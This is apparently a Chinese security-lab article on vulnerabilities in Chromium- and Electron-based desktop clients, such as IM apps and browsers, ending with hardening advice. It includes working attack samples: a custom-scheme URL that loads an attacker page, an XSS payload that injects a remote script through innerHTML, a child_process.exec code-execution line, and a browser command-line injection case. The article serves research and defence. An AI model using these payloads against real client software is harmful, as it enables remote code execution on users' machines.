客户端风险
背景概述
客户端软件是指在用户的设备上运行的程序,通常用于访问和与服务器进行交互。它们可以提供各种功能,包括数据处理、用户界面和网络连接。常见的客户端软件有办公软件(Office、WPS等),浏览器(Google Chrome, Safari等),邮箱(Microsoft Outlook, Foxmail等),IM软件( 微信、飞书、钉钉、京ME等)。
客户端软件也是常用的信息入口,会处理很多来自客户等外部信息,运行在PC端的客户端往往连通企业内网,因此也是APT攻击的必争之地。通过客户端漏洞不但可以对员工进行水坑攻击,大量窃取存放在员工机器上的商业机密、身份账号等,并作为稳定的内网入口,也可以用于对高价值目标的定向鱼叉攻击。
在近年的国家HW及境外APT攻击事件中,客户端漏洞已经作为重要的突破路径,不少应用都出现过RCE漏洞,作为重要的外网入口。
跨平台客户端开发框架
随着客户端软件跨平台(MacOS,Windows,Linux)需求的逐渐增加,基于浏览器的客户端框架逐渐走入开发者的视野,所谓基于浏览器的客户端应用,就是以浏览器组件作为页面展示、交互的主体框架,用html作为前端,抛弃了传统的客户端框架,使得应用具有很好的平台兼容性,常见的浏览器框架有PC端的libcef、electron,安卓的webview等等。
作为开发者,从浏览器组件的视角,需要开发的主要模块可以划分为资源相关文件、客户端功能代码、本地存储、云端存储以及其他代码等部分。
资源相关文件:这部分代码一般由html和JavaScript组成,是前端的主要代码,会在浏览器组件内进行加载渲染,用于和用户的交互、展示。能够加载在浏览器组件中的资源代码一般是受信的,因此可能会有一些特殊的Javascript对象在上下文中,用于处理特殊的客户端行为,因此这种受信任的域被称作特权域,一般包括客户端的官网、本地资源等。
客户端功能代码:由于JavaScript代码在浏览器中的功能、权限是受限的,因此为了实现某些客户端行为比如上传、下载、打开文件等一系列功能,必须实现一些特殊的功能代码,这类代码需要向浏览器组件注册,向特权域导出一个可供调用的JS对象,这类API被称为特权API。特权API与客户端使用相同语言实现,且具备同等执行权限。
本地存储为本地资源提供展示数据,比如昵称、头像等等。在客户端修改数据时,会优先读写本地缓存,并在合适的时候于云端存储进行异步数据传输。
其他代码用于对功能的补充,一般由非浏览器界面展示,也就是一些传统客户端的功能,比如开启某些socket服务等。
攻击面分析
相比于传统客户端,这种开发模式引入了浏览器组件作为渲染、展示框架,使得开发、调试更加方便,也减少了开发的工作量,并且可以应用于安卓、PC多平台,但浏览器组件的引入可能会导致供应链安全问题,同时仍然会存在某些传统的客户端漏洞。
相比于web,二者都使用了html+js的前端实现,因此存在某些同样类型的漏洞,比如xss等。但客户端的通用防御措施相对较少,不像web端有通用的waf。并且由于特权API、本地缓存这些新模块的存在使得漏洞攻击方式发生改变。
最后,相比于浏览器本身来说,这类似于对浏览器的二次开发,某些配置的改变、以及特权域+特权API模式可能打破浏览器中的某些安全防御机制。
根据触发的不同,远程代码执行(RCE)漏洞可以分为0click RCE和1click RCE,二者漏洞原理基本相同,区别仅在于是否可以无点击触发,0click RCE触发更无感,成功率更高,1click RCE可能需要配合钓鱼话术等欺骗用户点击。
客户端漏洞挖掘
资源定位与调试
从攻击面分析,我们可以发现这类客户端漏洞主要的展示界面是渲染在Chromium浏览器组件中的H5页面,主要的交互方式是用JavaScript调用特权API,因此借用前端开发常用的Chrome DevTools工具可以很好的分析调试这些代码。
对于普通的Electron开发的程序,其默认支持一些用于调试的参数比如--remote-debugging-port , --inspect 等,利用这些参数可以很容易打开内置的调试机制,以便我们查看软件加载的页面,注册的API等。
当然,这里开发者可能并不希望分析者可以轻易将软件调试接口暴露给攻击者进行分析,通常会在软件内部进行校验或者过滤,使攻击者输入的命令行难以传递到浏览器组件,进行防御。
但对客户端软件来讲:
-
开发者通常对浏览器框架不会进行定制开发,调试逻辑始终存在
-
分析者具备运行环境的完整权限,可以修改客户端逻辑代码,或者直接从内存与对应机制对抗。
如我们可以通过修改某些参数,打开客户端的调试接口
动态调试目标程序后,我们需关注客户端开发者自行实现的关键代码位置。站在开发者视角,这个事情就比较容易解决。如从行为层面,客户端希望注册一个特权域的解析,就会调用API提供的cef_register_scheme_handler_factory,其libcef中的具体实现是CefRegisterSchemeHandlerFactoryCefRegsterExtension,这里是客户端开发者难以防御的位置。
因此,我们可以关注并hook比较重要的开发模式中使用的API,就可以在运行时获取程序的关键点,如注册的特权Javascript对象、伪协议、加密资源等。
利用对某些关键代码的hook,可以分析出某软件动态加载的加密资源和密码
典型漏洞案例
接下来的部分,主要从供应链安全和自实现组件安全两方面分享一些典型的漏洞案例
1. 浏览器组件原生安全
正如之前所说,客户端的运行和渲染都基于Chromium浏览器引擎做扩展,并且一般的客户端很少会随着版本更新同时更新浏览器内核版本,并且在开发过程中打破某些浏览器的安全假设。
1.1. 浏览器渲染引擎漏洞
这两个图表是chrome浏览器漏洞修复与攻击情况的历史数据,根据 CVE 和 Google 的数据,Chrome 每年可能会发现大约 300 个带有 cve id 的漏洞。
其中,每年约有10个漏洞来自在野攻击的捕获,但经过进一步分析,我们发现可以利用的高危漏洞远不止10个。
因此,这些漏洞也可以通过软件供应链引入到基于浏览器的客户端应用中去。
由于浏览器组件中可能直接存在高危漏洞,因此当攻击者可以控制浏览器组件中加载的页面时,利用组件漏洞可以导致远程代码执行。
这样的场景在一款客户端软件中非常常见,比如在以微信为例,当打开微信公众号发表的文章,实际上是在内置浏览器加载了一个weixin域名下的web页面。
一般来说,能够在浏览器组件中加载的Web资源应该是受信的,开发者通常在URL访问的逻辑上对即将加载的URL进行域检查,过滤掉不可信的域。
但由于浏览器的复杂性,这部分检查很容易绕过。
首先,利用浏览器的导航特性,如某些官方站点的SSO页面,其加载时是官方受信任的域,但后续会导航跳转到参数传入的网站去,这部分是浏览器组件实现的,不会再次触发来源的检查。
此外,检查本身的实现也可能存在问题,例如使用了不正确的正则表达式,如图是仅检查了域以某些规定的白名单最为结尾,忽略了攻击者注册一些符合格式的恶意域名。
另外,还有应用本身注册的自定义协议处理,因为受信任程度较高,同样可能绕过域名的检查。如例子中所示的协议。可以在某软件内置的浏览器中加载任意用户控制的域名。
xxxx://yyyy/page/link?url=http://evilpage.com/index.html&pc_slide=true
1.2. 参数注入问题
在chrome浏览器中存在某些调试接口,当存在某些参数如--renderer-cmd-prefix被传入时,会同时执行后续传入的指令,这也给了远程代码执行便利。
在APT-Q-11组织的APT攻击中(https://mp.weixin.qq.com/s/jX8D8d-4q46pKHS0AIVgjw),曾用到一个某国产主流浏览器的远程代码执行漏洞做内网横向转移。该漏洞源于一个广告功能,在网卡0.0.0.0的13798监听了一个socket服务,当接收到一个socket请求时,会将其中channel参数拼接到浏览器命令行打开,初始目的是打开一个广告页面,但由于chrome的这个特性,该参数可以被注入为恶意指令,所以当攻击者进入内网后可以利用该漏洞进行大规模内网横向攻击
int __cdecl call_execute(LPCWSTR lpParameters, int a2)
{
const WCHAR *v2; // esi
const WCHAR *v3; // eax
LPCWSTR *v4; // eax
HWND DesktopWindow; // eax
const WCHAR *v7; // [esp-10h] [ebp-68h]
char ArgList[28]; // [esp+10h] [ebp-48h] BYREF
LPCWSTR lpFile[5]; // [esp+2Ch] [ebp-2Ch] BYREF
unsigned int v10; // [esp+40h] [ebp-18h]
int v11; // [esp+54h] [ebp-4h]
v2 = lpParameters;
sub_4716AD(lpFile);
v3 = lpFile[0];
v11 = 0;
if ( v10 < 8 )
v3 = (const WCHAR *)lpFile;
if ( sub_484EF1(v3) )
{
if ( a2 )
{
sub_40A4E8((wchar_t *)L"http://dd.browser.xxx.cn/static/a/493.2406.gif");
LOBYTE(v11) = 1;
sub_47367B((char)ArgList, 0, 0);
sub_4088B3(ArgList, 1, 0);
}
if ( *((_DWORD *)lpParameters + 5) >= 8u )
v2 = *(const WCHAR **)lpParameters;
v4 = (LPCWSTR *)lpFile[0];
if ( v10 < 8 )
v4 = lpFile;
v7 = (const WCHAR *)v4;
DesktopWindow = GetDesktopWindow();
ShellExecuteW(DesktopWindow, L"open", v7, v2, 0, 1);
}
return sub_4088B3(lpFile, 1, 0);
}
2. 自实现组件安全
相较于浏览器组件,这部分代码随开发者的水平高低,质量良莠不齐,有些对于框架API的误用会造成组件安全机制的绕过,也是客户端软件中较易出现漏洞的位置。
2.1. 信息欺骗
在客户端中看到的消息一定是可靠的吗?
在以IM软件中,存在很多混合消息,如分享链接、聊天记录等卡片消息,会提取其中关键信息进行展示,当用户点击卡片后再跳转到相应URL做完整展示,在这一过程中,很难对所以数据进行校验,因此存在很多消息欺骗的情况,也给了攻击者钓鱼的可能性。
例如在手机分享的场景下,分享协议仅在手机端抓取了摘要(title,icon等),即形成卡片在客户端上展示,但无法保证其可靠性。
同样的场景也存在于数据库,发送API的协议过程中,当该位置缺少校验,攻击者可以将该卡片伪造成具有迷惑性的信息,诱骗受害者点击,从而跳转到任意链接,完成钓鱼攻击。
2.2. 特权域与特权API
这里就要提到应用的特殊开发模式,特权域与特权API。如之前叙述过的,特权API是一类与应用本身权限相同的客户端函数,在浏览器组件中到处成js对象供资源文件调用,一般仅在实际执行前检查调用来源是否为特权域。
特权API:
-
以Java/C++/nodejs语言实现,用于完成客户端行为。
-
向客户端资源中导出JavaScript对象,用于处理用户交互。
-
受信任程度较高,检查较少,一般仅在实际执行前检查调用来源是否为特权域
特权域:
-
能够调用特权API的域。
-
常见的资源代码可能是位于远端的官方网站或是本地的资源。
-
受信任程度较高,通常使用域进行匹配。
当攻击者可以向特权域中注入代码时(如XSS),即可调用权限较高的特权API。这一类攻击很像web的XSS漏洞,不同的是本地资源域没有处理它的后端代码,因此一般只有DOM类型的XSS。
某款APP中特权域缺陷代码,红圈中数据可以通过攻击者参数传入导致XSS
因此攻击者可以通过如下的payload,利用JavaScript对象属性迭代器的特性,利用高危函数innerHTML触发该漏洞
xxx://yyy/error_page.html?theme=light&errorInfo={"btnContent":"重新加载","enableChatbox302Error":true,"enableDingtalkDoctor":true,"errorCode":"错误码:(-102 ERR_CONNECTION_REFUSED)","message":"页面加载失败","originErrCode":-123,"originErrMsg":"ERR_CONNECTION_REFUSED","originUrl":"http://117.0.0.1:9999/index.html","pageTitle":"页面出错","tipMessage":"x","certErrorData":{"<img src=x onerror='a=document.createElement(`script`);a.src=`http://127.0.0.1:9999/util.js`;document.body.append(a)'>":"1"}}
使用成熟的前端框架可以避免绝大部分类似的漏洞,但仍可能在未预期的拼接处引入类似的XSS漏洞,当发现了一处特权域XSS即可调用特权API。
特权API包括
-
框架原生的特权API:如nodejs的require等,当electron的应用未开启 nodeIntegration 保护时,可以直接通过 require('child_process').exec('open -a Calculator') 执行任意代码
-
开发者实现的特权API:如为了方便页面操作的一些上传、下载等操作,很容易出现权限过高的问题。
在特权API中,某加解密API的伪代码如下,原本希望对本地文件解密并写入一处受限的文件目录中,但由于该API实现可利用匿名UNC文件绕过对本地文件读的限制,并在文件写入时存在路径穿越漏洞,在破解加密算法后可以实现任意文件写。配合另外一处对硬编码可执行文件的启动API,如检查更新,可以直接利用特权API实现远程代码执行。
某款APP中特权API缺陷伪代码
组合上述两个漏洞,可以在主流的IM应用中实现了1click RCE。
2.3. 数据传输与协议
2.3.1 来自数据传输的威胁
与Web不同的是,在客户端应用中可能存在一些缓存文件,用于解决断网以及速度问题。当读取或写入数据时,会在本地进行检查,然后更新缓存,最后与服务器异步通信,更新用户数据。在这种逻辑下,开发人员通常会信任缓存,并且在更新数据或加载缓存时不会再次检查它。
同时,开发者也可能不使用默认的http/https协议传输数据,而是通过某些API调用自实现的协议(如tcp)进行传输,此时也可能存在在http侧检查,而在tcp层缺少检查的情况。
由于客户端运行环境完全受控,本地缓存、协议数据可以被修改,当同步时云端不进行二次校验时,可以伪造数据,进而在云端篡改用户记录。
在某款主流笔记应用中,可以看到本地缓存中存储的笔记结构,当修改地图页面链接为javascript协议后,可以污染云端,进而同步回本地产生客户端XSS,该漏洞也可以通过填写受害者id分享笔记,产生0click 攻击。
2.3.2 易受忽略的伪协议/内部跳转
与安卓的deeplink类似,pc端同样支持一些自定义的uri来打开应用,这部分URI分为两种,一种注册于系统服务,另一种注册在应用内部,客户端使用这样的uri来进行内部跳转并传递参数,由于这部分内容并不直接暴露给用户,因此可能存在对参数缺少校验的情况,从而产生任意页面加载、XSS等各类漏洞漏洞。
这类漏洞也可以配合信息欺骗等问题触发,导致漏洞利用更加无感。
windows平台上注册了伪协议的应用一例
2.4. 特性误用
由于浏览器组件非常复杂,其中包含很多安全假设,当某些浏览器组件特性误用时,假设会被打破,从而产生安全问题。
比较典型的案例就是来自hitb的一个议题,当开发者误用了webview中的Browser-initiated-navigation方法做导航跳转时,可以导致特权API运行时获取的调用URL错误,从而绕过特权API的来源检查。
防御机制与绕过
浏览器沙箱
-
危险值:false(浏览器的渲染进程和主进程具备同样的权限,任意意外的页面加载即可利用浏览器渲染引擎漏洞获得完整的权限)
-
绕过:
-
沙箱历史漏洞(数量远少于渲染进程漏洞)
-
操作系统提权漏洞
-
截图软件特性绕过
Node Integration
-
危险值:true (允许html页面上的javascipt代码访问nodejs 环境api代码的能力)
-
绕过:
-
利用其他导入的特权API
-
利用浏览器漏洞
上下文隔离(Context Isolation)
-
危险值: false (确保 预加载脚本 和 Electron的内部逻辑运行在所加载的 webcontent网页 之外的另一个独立的上下文环境里)
当未开启该防御时,可以原型链污染获取和主进程的IPC调用接口
-
绕过:
-
一些老版本的electron存在一些漏洞可以配合Render进程RCE关闭该防御(如CVE-2022-29247)
CSP
-
浏览器对于XSS的通用防御机制,利用白名单限制当前页面加载外部JavaScript
-
绕过:
-
浏览器本身的机制,浏览器框架可能本身就存在CSP绕过漏洞 (如CVE-2021-30538)
开发建议
客户端漏洞具有庞大且复杂的攻击面,需要对任何攻击者触碰的数据严加防范,同时消除由于浏览器组件带来的供应链危险。
供应链角度的建议:
-
开发者应及时升级浏览器组件
-
提高应急响应能力,及时修复在野高危漏洞
-
开启沙箱、API隔离等功能
自实现模块角度的建议:
-
不要信任任何经过客户端的数据,增加云端的后台校验与前端渲染校验
-
开启CSP等通用防御措施
-
不要开发权限过大的特权API
-
限制不安全的内容加载
白鵺实验室介绍
白鵺实验室是京东安全蓝军专注于先进攻防技术研究、漏洞挖掘与利用的研究型团队,为蓝军实战攻防团队提供武器弹药同时,服务于提升京东安全影响力。实验室研究方向包括主流桌面操作系统(MacOS、Windows)及软件安全,移动操作系统(iOS、Android、HarmonyOS)及APP安全,主流浏览器(Chrome、Safari)安全,WEB应用程序(Java)安全、主流服务组件(如Web服务器、数据库、大数据组件等)安全等。
加入我们
白鵺实验室正在招募各路英雄,欢迎加入崇尚技术创新、用技术守护互联网安全的我们。
简历发送:[email protected]
邮件主题和简历附件名称请备注
“岗位编号-岗位名称-姓名”
招聘岗位:
001-Android逆向开发工程师
002-群控工程师
003-风控策略岗
004-移动安全工程师岗
005-高级安全研究员
006-高级Web渗透工程师
原文始发于微信公众号(京东安全应急响应中心):客户端漏洞在红蓝对抗中的挖掘与利用
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论